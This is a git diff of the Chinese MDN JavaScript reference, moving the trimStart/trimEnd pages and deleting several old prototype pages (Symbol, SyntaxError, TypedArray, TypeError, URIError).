根据当前区域设置,将字符串中的字符转换成大写,对于大多数语言来说,{{jsxref("String.toUpperCase", "toUpperCase")}}的返回值是一致的。
-
{{jsxref("String.prototype.toLowerCase()")}}
-
将字符串转换成小写并返回。
-
{{jsxref("String.prototype.toSource()")}} {{ Non-standard_inline() }}
-
返回一个对象文字代表着特定的对象。你可以使用这个返回值来创建新的对象。重写 {{jsxref("Object.prototype.toSource")}} 方法。
-
{{jsxref("String.prototype.toString()")}}
-
返回用字符串表示的特定对象。重写 {{jsxref("Object.prototype.toString")}} 方法。
-
{{jsxref("String.prototype.toUpperCase()")}}
-
将字符串转换成大写并返回。
-
{{jsxref("String.prototype.trim()")}}
-
从字符串的开始和结尾去除空格。参照部分 ECMAScript 5 标准。
-
{{jsxref("String.prototype.trimStart()")}}
-
{{jsxref("String.prototype.trimLeft()")}} {{ Non-standard_inline() }}
-
从字符串的左侧去除空格。
-
{{jsxref("String.prototype.trimEnd()")}}
-
{{jsxref("String.prototype.trimRight()")}} {{ Non-standard_inline() }}
-
从字符串的右侧去除空格。
-
{{jsxref("String.prototype.valueOf()")}}
-
返回特定对象的原始值。重写 {{jsxref("Object.prototype.valueOf")}} 方法。
-
{{jsxref("String.prototype.@@iterator()", "String.prototype[@@iterator]()")}}
-
返回一个新的迭代器对象,该对象遍历字符串值的索引位置,将每个索引值作为字符串值返回。
-
- -

HTML wrapper methods

- -

下面的方法被限制使用,因为只对可用的HTML标签和属性提供部分支持。

- -
-
{{jsxref("String.prototype.anchor()")}}
-
<a name="name"> (hypertext target)
-
{{jsxref("String.prototype.big()")}} {{deprecated_inline}}
-
{{HTMLElement("big")}}
-
{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}
-
{{HTMLElement("blink")}}
-
{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}
-
{{HTMLElement("b")}}
-
{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}
-
{{HTMLElement("tt")}}
-
{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}
-
<font color="color">
-
{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}
-
<font size="size">
-
{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}
-
{{HTMLElement("i")}}
-
{{jsxref("String.prototype.link()")}}
-
<a href="url"> (link to URL)
-
{{jsxref("String.prototype.small()")}} {{deprecated_inline}}
-
{{HTMLElement("small")}}
-
{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}
-
{{HTMLElement("strike")}}
-
{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}
-
{{HTMLElement("sub")}}
-
{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}
-
{{HTMLElement("sup")}}
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
ECMAScript 1st Edition.StandardInitial definition.
{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype', 'String.prototype')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.String.prototype")}}

- -

更多

- -
    -
  • {{jsxref("Global_Objects/String", "String")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html new file mode 100644 index 0000000000..9c8319cb29 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html @@ -0,0 +1,84 @@ +--- +title: String.prototype.trimRight() +slug: Web/JavaScript/Reference/Global_Objects/String/TrimRight +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/trimEnd +--- +
{{JSRef}}
+ +

trimEnd() 方法从一个字符串的末端移除空白字符。trimRight() 是这个方法的别名。

+ +

{{EmbedInteractiveExample("pages/js/string-trimend.html")}}

+ +

The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.

+ +

语法

+ +
str.trimEnd();
+str.trimRight();
+ +

返回值

+ +

一个新字符串,表示从调用字串的末(右)端除去空白。

+ +

描述

+ +

trimEnd() / trimRight()方法移除原字符串右端的连续空白符并返回,trimEnd() / trimRight()方法并不会直接修改原字符串本身。

+ +

别名

+ +

为了与 {{jsxref("String.prototype.padEnd")}} 等函数保持一致,标准方法名称为trimEnd。 但是,出于Web兼容性原因,trimRight仍然是trimEnd的别名。 在某些引擎中,这意味着:

+ +
String.prototype.trimRight.name === "trimEnd";
+
+ +

示例

+ +

使用trimEnd()

+ +

下面的例子输出了小写的字符串"   foo":

+ +
var str = "   foo  ";
+
+alert(str.length); // 8
+
+str = str.trimRight();  // 或写成str = str.trimEnd();
+console.log(str.length); // 6
+console.log(str);       // '   foo'
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
String.prototype.{trimStart,trimEnd}proposalStage 4Expected to be part of ES2019
+ +

Browser compatibility

+ +

The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

+ +

{{Compat("javascript.builtins.String.trimEnd")}}

+ +

相关链接

+ +
    +
  • {{jsxref("String.prototype.trim()")}}
  • +
  • {{jsxref("String.prototype.trimStart()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/trimleft/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/trimleft/index.html deleted file mode 100644 index bc6133cecb..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/string/trimleft/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: String.prototype.trimStart() -slug: Web/JavaScript/Reference/Global_Objects/String/TrimLeft -tags: - - JavaScript - - Method - - Prototype - - String - - 参考 - - 字符串 - - 方法 -translation_of: Web/JavaScript/Reference/Global_Objects/String/trimStart ---- -
{{JSRef}}
- -
trimStart() 方法从字符串的开头删除空格。trimLeft() 是此方法的别名。
- -
{{EmbedInteractiveExample("pages/js/string-trimstart.html")}}
- - - -

语法

- -
str.trimStart();
-str.trimLeft();
- -

返回值

- -

一个新字符串,表示从其开头(左端)除去空格的调用字符串。

- -

描述

- -

trimStart() / trimLeft() 方法移除原字符串左端的连续空白符并返回一个新字符串,并不会直接修改原字符串本身。

- -

别名

- -

为了与 {{jsxref("String.prototype.padStart")}} 等函数保持一致,标准方法名称为trimStart。 但是,出于 Web 兼容性原因,trimLeft 仍然是 trimStart 的别名。在某些引擎中,这意味着:

- -
String.prototype.trimLeft.name === "trimStart";
- -

示例

- -

使用 trimStart()

- -

下面的例子输出了小写的字符串 "foo  "

- -
var str = "   foo  ";
-
-console.log(str.length); // 8
-
-str = str.trimStart()    // 等同于 str = str.trimLeft();
-console.log(str.length); // 5
-console.log(str);        // "foo  "
-
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
String.prototype.{trimStart,trimEnd}proposalStage 4Expected to be part of ES2019
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.String.trimStart")}}

- -

Polyfill

- -
// https://github.com/FabioVergani/js-Polyfill_String-trimStart
-
-(function(w){
-    var String=w.String, Proto=String.prototype;
-
-    (function(o,p){
-        if(p in o?o[p]?false:true:true){
-            var r=/^\s+/;
-            o[p]=o.trimLeft||function(){
-                return this.replace(r,'')
-            }
-        }
-    })(Proto,'trimStart');
-
-})(window);
-
-
-/*
-ES6:
-(w=>{
-    const String=w.String, Proto=String.prototype;
-
-    ((o,p)=>{
-        if(p in o?o[p]?false:true:true){
-            const r=/^\s+/;
-            o[p]=o.trimLeft||function(){
-                return this.replace(r,'')
-            }
-        }
-    })(Proto,'trimStart');
-
-})(window);
-*/
- -

参见

- -
    -
  • {{jsxref("String.prototype.trim()")}}
  • -
  • {{jsxref("String.prototype.trimEnd()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/trimright/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/trimright/index.html deleted file mode 100644 index 9c8319cb29..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/string/trimright/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: String.prototype.trimRight() -slug: Web/JavaScript/Reference/Global_Objects/String/TrimRight -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/trimEnd ---- -
{{JSRef}}
- -

trimEnd() 方法从一个字符串的末端移除空白字符。trimRight() 是这个方法的别名。

- -

{{EmbedInteractiveExample("pages/js/string-trimend.html")}}

- -

The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.

- -

语法

- -
str.trimEnd();
-str.trimRight();
- -

返回值

- -

一个新字符串,表示从调用字串的末(右)端除去空白。

- -

描述

- -

trimEnd() / trimRight()方法移除原字符串右端的连续空白符并返回,trimEnd() / trimRight()方法并不会直接修改原字符串本身。

- -

别名

- -

为了与 {{jsxref("String.prototype.padEnd")}} 等函数保持一致,标准方法名称为trimEnd。 但是,出于Web兼容性原因,trimRight仍然是trimEnd的别名。 在某些引擎中,这意味着:

- -
String.prototype.trimRight.name === "trimEnd";
-
- -

示例

- -

使用trimEnd()

- -

下面的例子输出了小写的字符串"   foo":

- -
var str = "   foo  ";
-
-alert(str.length); // 8
-
-str = str.trimRight();  // 或写成str = str.trimEnd();
-console.log(str.length); // 6
-console.log(str);       // '   foo'
-
- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
String.prototype.{trimStart,trimEnd}proposalStage 4Expected to be part of ES2019
- -

Browser compatibility

- -

The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

- -

{{Compat("javascript.builtins.String.trimEnd")}}

- -

相关链接

- -
    -
  • {{jsxref("String.prototype.trim()")}}
  • -
  • {{jsxref("String.prototype.trimStart()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html new file mode 100644 index 0000000000..bc6133cecb --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html @@ -0,0 +1,122 @@ +--- +title: String.prototype.trimStart() +slug: Web/JavaScript/Reference/Global_Objects/String/TrimLeft +tags: + - JavaScript + - Method + - Prototype + - String + - 参考 + - 字符串 + - 方法 +translation_of: Web/JavaScript/Reference/Global_Objects/String/trimStart +--- +
{{JSRef}}
+ +
trimStart() 方法从字符串的开头删除空格。trimLeft() 是此方法的别名。
+ +
{{EmbedInteractiveExample("pages/js/string-trimstart.html")}}
+ + + +

语法

+ +
str.trimStart();
+str.trimLeft();
+ +

返回值

+ +

一个新字符串,表示从其开头(左端)除去空格的调用字符串。

+ +

描述

+ +

trimStart() / trimLeft() 方法移除原字符串左端的连续空白符并返回一个新字符串,并不会直接修改原字符串本身。

+ +

别名

+ +

为了与 {{jsxref("String.prototype.padStart")}} 等函数保持一致,标准方法名称为trimStart。 但是,出于 Web 兼容性原因,trimLeft 仍然是 trimStart 的别名。在某些引擎中,这意味着:

+ +
String.prototype.trimLeft.name === "trimStart";
+ +

示例

+ +

使用 trimStart()

+ +

下面的例子输出了小写的字符串 "foo  "

+ +
var str = "   foo  ";
+
+console.log(str.length); // 8
+
+str = str.trimStart()    // 等同于 str = str.trimLeft();
+console.log(str.length); // 5
+console.log(str);        // "foo  "
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
String.prototype.{trimStart,trimEnd}proposalStage 4Expected to be part of ES2019
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.String.trimStart")}}

+ +

Polyfill

+ +
// https://github.com/FabioVergani/js-Polyfill_String-trimStart
+
+(function(w){
+    var String=w.String, Proto=String.prototype;
+
+    (function(o,p){
+        if(p in o?o[p]?false:true:true){
+            var r=/^\s+/;
+            o[p]=o.trimLeft||function(){
+                return this.replace(r,'')
+            }
+        }
+    })(Proto,'trimStart');
+
+})(window);
+
+
+/*
+ES6:
+(w=>{
+    const String=w.String, Proto=String.prototype;
+
+    ((o,p)=>{
+        if(p in o?o[p]?false:true:true){
+            const r=/^\s+/;
+            o[p]=o.trimLeft||function(){
+                return this.replace(r,'')
+            }
+        }
+    })(Proto,'trimStart');
+
+})(window);
+*/
+ +

参见

+ +
    +
  • {{jsxref("String.prototype.trim()")}}
  • +
  • {{jsxref("String.prototype.trimEnd()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/symbol/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/symbol/prototype/index.html deleted file mode 100644 index f00b37a223..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/symbol/prototype/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Symbol.prototype -slug: Web/JavaScript/Reference/Global_Objects/Symbol/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol -translation_of_original: Web/JavaScript/Reference/Global_Objects/Symbol/prototype ---- -
{{JSRef}}
- -

Symbol.prototype 表示 {{jsxref("Symbol")}} 构造函数的原型。.

- -
{{EmbedInteractiveExample("pages/js/symbol-prototype.html")}}
- -

Description

- -

{{jsxref("Symbol")}} 继承自 {{jsxref("Symbol.prototype")}}. 你可以使用构造函数的原型对象来给所有Symbol实例添加属性或者方法。

- -

{{js_property_attributes(0,0,0)}}

- -

Properties

- -
-
Symbol.prototype.constructor
-
返回创建实例原型的函数. 默认为 {{jsxref("Symbol")}} 函数。
-
{{jsxref("Symbol.prototype.description")}}
-
一个包含symbol描述的只读字符串。
-
- -

Methods

- -
-
{{jsxref("Symbol.prototype.toSource()")}} {{Non-standard_inline}}
-
返回包含{{jsxref("Global_Objects/Symbol", "Symbol")}} 对象源码的字符串。覆盖{{jsxref("Object.prototype.toSource()")}} 方法。
-
{{jsxref("Symbol.prototype.toString()")}}
-
返回包含Symbol描述符的字符串。 覆盖{{jsxref("Object.prototype.toString()")}} 方法。
-
{{jsxref("Symbol.prototype.valueOf()")}}
-
返回 {{jsxref("Symbol")}} 对象的初始值.。覆盖 {{jsxref("Object.prototype.valueOf()")}} 方法。
-
{{jsxref("Symbol.prototype.@@toPrimitive()", "Symbol.prototype[@@toPrimitive]")}}
-
 返回{{jsxref("Symbol")}}对象的初始值。
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-symbol.prototype', 'Symbol.prototype')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-symbol.prototype', 'Symbol.prototype')}}{{Spec2('ESDraft')}}
- -

浏览器兼容

- -

{{Compat("javascript.builtins.Symbol.prototype")}}

- -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/syntaxerror/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/syntaxerror/prototype/index.html deleted file mode 100644 index 6f109510ef..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/syntaxerror/prototype/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: SyntaxError.prototype -slug: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype -tags: - - Error - - JavaScript - - Property - - Prototype - - SyntaxError -translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError -translation_of_original: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype ---- -
{{JSRef}}
- -

SyntaxError.prototype 属性表示{{jsxref("SyntaxError")}} 构造器的原型.

- -

描述

- -

所有 {{jsxref("SyntaxError")}} 实例继承自 SyntaxError.prototype. 你可以使用该原型给所有实例添加属性和方法.

- -

属性

- -
-
SyntaxError.prototype.constructor
-
创建实例的构造函数.
-
{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}
-
错误信息. 尽管 ECMA-262 指出, {{jsxref("SyntaxError")}} 应该提供其子什么的信息属性,但在 SpiderMonkey 中, 仍是继承自{{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}
-
错误的名称.继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}
-
抛出该异常的文件路径.继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}
-
抛出该异常的文件的行号. 继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}
-
抛出该异常的文件的列数. 继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}
-
栈追踪信息. 继承自 {{jsxref("Error")}}.
-
- -

方法

- -

尽管 {{jsxref("SyntaxError")}} 原型对象自身不包含任何方法,但 {{jsxref("SyntaxError")}} 实例从原型链中继承了一些方法.

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Defined as NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Defined as NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Defined as NativeError.prototype.
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

相关链接

- -
    -
  • {{jsxref("Error.prototype")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/typedarray/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/typedarray/prototype/index.html deleted file mode 100644 index ae9f64bf5e..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/typedarray/prototype/index.html +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: TypedArray.prototype -slug: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray -translation_of_original: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype ---- -
{{JSRef}}
- -

TypedArray.prototype属性表示{{jsxref("TypedArray")}}构造器的原型.

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

{{jsxref("TypedArray")}} 实例继承自 {{jsxref("TypedArray.prototype")}}. 你可以通过该原型对象为所有的类型化数组(typed array types)实例添加属性和方法.

- -

关于继承的更多的信息请参见关于TypedArray 的描述.

- -

属性

- -
-
TypedArray.prototype.constructor
-
返回创建实例原型的构造函数.这是相应的typed array type的默认的构造函数.
-
{{jsxref("TypedArray.prototype.buffer")}} {{readonlyInline}}
-
返回被格式化数组引用的{{jsxref("ArrayBuffer")}}. 创建时已被固化,因此是只读的.
-
{{jsxref("TypedArray.prototype.byteLength")}} {{readonlyInline}}
-
返回从{{jsxref("ArrayBuffer")}}读取的字节长度. 创建时已被固化,因此是只读的.
-
{{jsxref("TypedArray.prototype.byteOffset")}} {{readonlyInline}}
-
返回从{{jsxref("ArrayBuffer")}}读取时的字节偏移量.创建时已被固化,因此是只读的.
-
{{jsxref("TypedArray.prototype.length")}} {{readonlyInline}}
-
返回在类型化数组中的元素的数量.创建时已被固化,因此是只读的.
-
- -

methods

- -
-
{{jsxref("TypedArray.prototype.copyWithin()")}}
-
浅拷贝数组的部分元素到同一数组的不同位置,且不改变数组的大小,返回该数组. 参见 {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.prototype.entries()")}}
-
返回一个 Array Iterator 对象,该对象包含数组中每一个索引的键值对.参见 {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.prototype.every()")}}
-
测试数组的所有元素是否都通过了指定函数的测试. 参见{{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.prototype.fill()")}}
-
将一个数组中指定区间的所有元素的值, 都替换成或者说填充成为某个固定的值. 参见 {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.prototype.filter()")}}
-
使用指定的函数测试所有元素,并创建一个包含所有通过测试的元素的新数组. 参见 {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.prototype.find()")}}
-
返回一个满足提供的函数的测试的元素,若是没有满足的元素则返回undefined . 参见 {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.prototype.findIndex()")}}
-
查找数组中某指定元素的索引, 如果找不到指定的元素, 则返回 -1. 参见 {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.prototype.forEach()")}}
-
对数组的每个元素执行一次提供的函数(回调函数). 参见 {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.prototype.includes()")}} {{experimental_inline}}
-
确定一个类型化数组是否包括了某个元素,包含就返回true,不包含就返回false.参见 {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.prototype.indexOf()")}}
-
返回数组中第一个等于指定值得元素的索引,如果找不到则返回-1. 参见 {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.prototype.join()")}}
-
将数组中的所有元素连接成一个字符串. 参见 {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.prototype.keys()")}}
-
返回一个新的包含数组索引的数组迭代器. 参见 {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.prototype.lastIndexOf()")}}
-
返回数组中最后一个等于指定值得元素的索引,如果找不到则返回-1.参见 {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.prototype.map()")}}
-
创建一个由原数组中的每个元素调用一个指定方法后的返回值组成的新数组.参见 {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
以前的不标准版本的 {{jsxref("TypedArray.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.prototype.reduce()")}}
-
接收一个函数作为累加器(accumulator),数组中的每个值(从左到右)开始合并,最终为一个值. 参见{{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.prototype.reduceRight()")}}
-
接受一个函数作为累加器(accumulator),让每个值(从右到左,亦即从尾到头)缩减为一个值.(与 reduce() 的执行方向相反). 参见{{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.prototype.reverse()")}}
-
颠倒数组中元素的位置。第一个元素会成为最后一个,最后一个会成为第一个. 参见 {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.prototype.set()")}}
-
读取一个指定数组中的元素保存到格式化数组中.
-
{{jsxref("TypedArray.prototype.slice()")}}
-
浅复制(shallow copy)数组的一部分到一个新的数组,并返回这个新数组. 参见 {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.prototype.some()")}}
-
数组中只要有一个元素满足提供的测试函数的测试就返回true,否则返回false. 参见 {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.prototype.sort()")}}
-
对数组进行排序,并返回原数组(是改变原数组). 参见 {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.prototype.subarray()")}}
-
返回给定的起始和结束索引之间的元素组成的新的类型化数组.
-
{{jsxref("TypedArray.prototype.values()")}}
-
返回有数组中的元素组成的新的数组迭代对象. 参见 {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.prototype.toLocaleString()")}}
-
返回一个将数组中的每个元素本地化后组成的字符串. 参见 {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.prototype.toString()")}}
-
返回一个由数组中的每个元素字符串化后组成的字符串. 参见 {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}
-
返回一个包含数组中每个元素的新的数组迭代对象.
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('ES6', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support7.0{{ CompatGeckoDesktop("2") }}1011.65.1
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.0{{CompatVersionUnknown}}{{ CompatGeckoMobile("2") }}1011.64.2
-
- -

参见

- - diff --git a/files/zh-cn/web/javascript/reference/global_objects/typeerror/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/typeerror/prototype/index.html deleted file mode 100644 index 42abf0c422..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/typeerror/prototype/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: TypeError.prototype -slug: Web/JavaScript/Reference/Global_Objects/TypeError/prototype -tags: - - Error - - JavaScript - - TypeError - - 原型 - - 错误 -translation_of: Web/JavaScript/Reference/Global_Objects/TypeError -translation_of_original: Web/JavaScript/Reference/Global_Objects/TypeError/prototype ---- -
{{JSRef}}
- -

TypeError.prototype 属性表示 {{jsxref("TypeError")}}构造函数的原型。

- -

 

- -

描述

- -

所有{{jsxref("TypeError")}}实例都继承自TypeError.prototype。您可以使用原型向所有实例添加属性或方法

- -

 

- -

属性

- -
-
TypeError.prototype.constructor
-
声明创建实例原型 (prototype) 的方法。
-
{{jsxref("Error.prototype.message", "TypeError.prototype.message")}}
-
错误信息。虽然 ECMA-262 规范指出 {{jsxref("TypeError")}} 应该实现其自身的 message 属性,但是在 SpiderMonkey 中,该属性继承自 {{jsxref("Error.prototype.message")}}。
-
{{jsxref("Error.prototype.name", "TypeError.prototype.name")}}
-
错误名称。继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.fileName", "TypeError.prototype.fileName")}}
-
引起该错误的代码所在文件的路径。继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.lineNumber", "TypeError.prototype.lineNumber")}}
-
引起错误的代码所在行的行号。继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.columnNumber", "TypeError.prototype.columnNumber")}}
-
引起错误的代码所在列的列号。继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.stack", "TypeError.prototype.stack")}}
-
堆栈跟踪记录。 继承自 {{jsxref("Error")}}。
-
- -

方法

- -

尽管 {{jsxref("TypeError")}} 不包含任何自己的方法, 但{{jsxref("TypeError")}}的实例通过原型链继承了一些方法。

- -

 

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
规范状态说明
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}} 定义为 NativeError.prototype.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}} 定义为 NativeError.prototype.
{{SpecName('ES3', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES3')}} 初始定义
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.TypeError")}}

- -
 
- -

相关链接

- -
    -
  • {{jsxref("Error.prototype")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/urierror/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/urierror/prototype/index.html deleted file mode 100644 index c5d381250a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/urierror/prototype/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: URIError.prototype -slug: Web/JavaScript/Reference/Global_Objects/URIError/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/URIError -translation_of_original: Web/JavaScript/Reference/Global_Objects/URIError/prototype ---- -
{{JSRef}}
- -
URIError.prototype 属性表示 {{jsxref("URIError")}} 构造器的原型。
- -

描述

- -

所有的 {{jsxref("URIError")}} 实例都继承自 URIError.prototype。 可以通过原型(prototype) 给所有的实例添加属性或者方法。

- -

属性

- -
-
URIError.prototype.constructor
-
声明创建实例原型 (prototype) 的方法。
-
{{jsxref("Error.prototype.message", "URIError.prototype.message")}}
-
错误信息。虽然 ECMA-262 规范指出 {{jsxref("URIError")}} 应该提供其自己专属的 message 属性,但是在 SpiderMonkey 中,该属性继承自 {{jsxref("Error.prototype.message")}}
-
{{jsxref("Error.prototype.name", "URIError.prototype.name")}}
-
错误名称。继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.fileName", "URIError.prototype.fileName")}}
-
产生该错误的代码所在文件的路径。 继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.lineNumber", "URIError.prototype.lineNumber")}}
-
产生该错误的代码所在行的行号。继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.columnNumber", "URIError.prototype.columnNumber")}}
-
产生该错误的代码所在列的列号。 继承自 {{jsxref("Error")}}。
-
